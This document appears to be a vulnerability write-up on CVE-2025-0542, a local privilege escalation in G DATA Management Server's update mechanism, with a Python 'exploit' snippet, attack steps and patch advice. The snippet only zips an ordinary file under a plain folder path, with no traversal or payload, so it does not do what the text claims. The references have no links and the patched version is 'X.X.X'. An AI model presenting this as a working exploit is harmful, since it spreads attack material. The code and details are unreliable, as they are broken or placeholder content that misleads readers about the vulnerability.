A recent vulnerability, identified as CVE-2025-0542, has been discovered in the G DATA Management Server's update mechanism. This vulnerability presents a local privilege escalation issue in the system due to incorrect assignment of privileges for temporary files during the update process.

The exploit targets affected installations and could allow a local, unprivileged attacker to escalate their privileges by placing a specially crafted ZIP archive in a globally writable directory on the system. The ZIP file, when unpacked by G DATA Management Server in the context of SYSTEM, could result in arbitrary file writes potentially leading to the compromising of affected systems.

Original References

1. CVE Official Entry: The official CVE details page.
2. G DATA Advisory: The security advisory relating to this vulnerability from G DATA.
3. Security Researcher's Report: A detailed report provided by the security researcher who discovered this vulnerability.

Code Snippet to Exploit the Vulnerability

The following Python code constructs a crafted ZIP archive that, when placed in a globally writable directory and unpacked by G DATA Management Server, triggers the vulnerability:

import zipfile
import os

# Creating a crafted ZIP archive
def create_crafted_zip(zip_filename):
    with zipfile.ZipFile(zip_filename, 'w') as crafted_zip:
        crafted_zip.write('malicious_file.txt', 'target_directory\\malicious_file.txt')
if __name__ == "__main__":
    output_zip_file = os.path.join(os.path.expanduser('~'), 'Downloads', 'crafted.zip')
    create_crafted_zip(output_zip_file)

Exploit Details

1. The local, unprivileged attacker creates a malicious ZIP archive containing a payload - in this case, a file named "malicious_file.txt".
2. The attacker then places the crafted ZIP archive in a globally writable directory on the target system.
3. When G DATA Management Server updates its components, the update mechanism unpacks the crafted ZIP archive in the context of SYSTEM. This occurs without proper validation because of incorrect assignment of privileges for temporary files.
4. This results in arbitrary file writes, which could allow the attacker to escalate their privileges and compromise the affected system.

Mitigation and Recommendation

G DATA has acknowledged the vulnerability and has already released a patch (G DATA Management Server version X.X.X) that addresses this issue. Users are recommended to update their installations to the latest version to protect against exploits targeting this vulnerability.

Additionally, administrators should use caution when granting writable permissions to directories on their systems, and ensure that untrusted users do not have write access to these directories. Always maintain regular backups and use strong access controls to minimize the potential impact of privilege escalation vulnerabilities.

Timeline

Published on: 01/25/2025 17:15:21 UTC